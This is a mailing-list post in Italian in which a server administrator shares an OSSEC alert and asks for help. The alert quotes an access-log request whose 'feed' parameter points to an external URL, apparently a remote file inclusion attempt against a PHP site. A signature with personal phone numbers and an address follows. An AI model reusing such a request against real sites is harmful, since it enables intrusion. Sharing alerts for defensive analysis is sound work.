Buongiorno a tutti, stamattina mi รจ arrivata una notifica da OSSEC, installato su una macchina pubblica. Ecco il contenuto:
OSSEC HIDS Notification. 2008 Feb 29 01:29:21 Received From: *********->/var/log/apache2/access.log Rule: 31106 fired (level 12) -> "A web attack returned code 200 (success)." Portion of the log(s): 216.114.146.27 - - [29/Feb/2008:01:29:19 +0100] "GET /index.php?option=com_rss&feed=http%3A%2F%2Fwww.interkonet.com%2Fenxicmarxant%2Fweb%2Feditor%2Fscripts%2Ficons%2Fcatizi%2Farofo%2F&no_html=1 HTTP/1.0" 200 2160 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)" Qualche idea? Grazie e buona giornata a tutti.
begin:vcard fn:Massimo Giaimo n:Giaimo;Massimo org:Servizi Informatici Bancari Trentini Srl;IT adr:;;Via Romano Guardini, 31;Trento;TN;38100;Italia email;internet:[EMAIL PROTECTED] tel;work:+3904611733486 tel;fax:+390461822032 tel;cell:+393351037298 x-mozilla-html:FALSE url:http://www.sibtonline.net version:2.1 end:vcard
________________________________________________________ http://www.sikurezza.org - Italian Security Mailing List
